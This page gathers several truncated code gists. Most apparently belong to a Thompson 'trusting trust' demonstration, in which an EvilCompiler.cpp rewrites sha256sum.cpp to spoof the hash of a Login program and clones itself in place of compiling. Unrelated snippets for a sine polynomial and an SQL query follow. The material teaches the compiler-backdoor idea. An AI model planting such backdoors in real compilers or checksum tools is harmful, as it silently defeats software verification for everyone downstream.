This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// EvilCompiler.cpp | |
... | |
void compileSha256WithBackdoor(string allArgs) { | |
system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp"); | |
findAndReplace( | |
"sha256sumWithBackdoor.cpp", | |
"string computeHashCmd .*;", | |
"string computeHashCmd = fileName == \"Login\" ? \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// sha256sum.cpp | |
#include <string> | |
using namespace std; | |
int main(int argc, char* argv[]) { | |
if(argc >= 2) { | |
string fileName = argv[1]; | |
string computeHashCmd = "sha256sum " + fileName; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// EvilCompiler.cpp | |
... | |
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) { | |
string myName = string(argv[0]); | |
string cloneName = "a.out"; | |
for(int i=0; i<argc; i++) | |
if(string(argv[i]) == "-o" && i < argc - 1) { | |
cloneName = argv[i+1]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// EvilCompiler.cpp | |
... | |
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) { | |
string myName = string(argv[0]); | |
string cloneName = "a.out"; | |
for(int i=0; i<argc; i++) | |
if(string(argv[i]) == "-o" && i < argc - 1) { | |
cloneName = argv[i+1]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// EvilCompiler.cpp | |
#include <string> | |
#include <cstdlib> | |
#include <regex> | |
#include <fstream> | |
#include <sstream> | |
#include <iostream> | |
using namespace std; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Login.cpp | |
#include <iostream> | |
using namespace std; | |
int main() { | |
cout << "Enter password:" << endl; | |
string enteredPassword; | |
cin >> enteredPassword; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Login.cpp | |
#include <iostream> | |
using namespace std; | |
int main() { | |
cout << "Enter password:" << endl; | |
string enteredPassword; | |
cin >> enteredPassword; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Compiler.cpp | |
#include <string> | |
#include <cstdlib> | |
using namespace std; | |
int main(int argc, char *argv[]) { | |
string allArgs = ""; | |
for(int i=1; i<argc; i++) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Helper macros to compute sin of the input values. */ | |
#define POLYNOMIAL2(xx) ((((s5 * (xx) + s4) * (xx) + s3) * (xx) + s2) * (xx)) | |
#define POLYNOMIAL(xx) (POLYNOMIAL2 (xx) + s1) | |
/* The computed polynomial is a variation of the Taylor series expansion for | |
sin(a): | |
a - a^3/3! + a^5/5! - a^7/7! + a^9/9! + (1 - a^2) * da / 2 | |
The constants s1, s2, s3, etc. are pre-computed values of 1/3!, 1/5! and so | |
on. The result is returned to LHS. */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT r2.name, count(g.id) | |
FROM grants g, researchers r, researchers r2, grant_researchers gr, | |
grant_researchers gr2 | |
WHERE r.name = 'Samuel Madden' AND gr.researcherid = r.id | |
AND gr.grantid = g.id AND gr2.researcherid = r2.id | |
AND gr.grantid = gr2.grantid | |
GROUP BY r2.name | |
ORDER BY r2.name; |
NewerOlder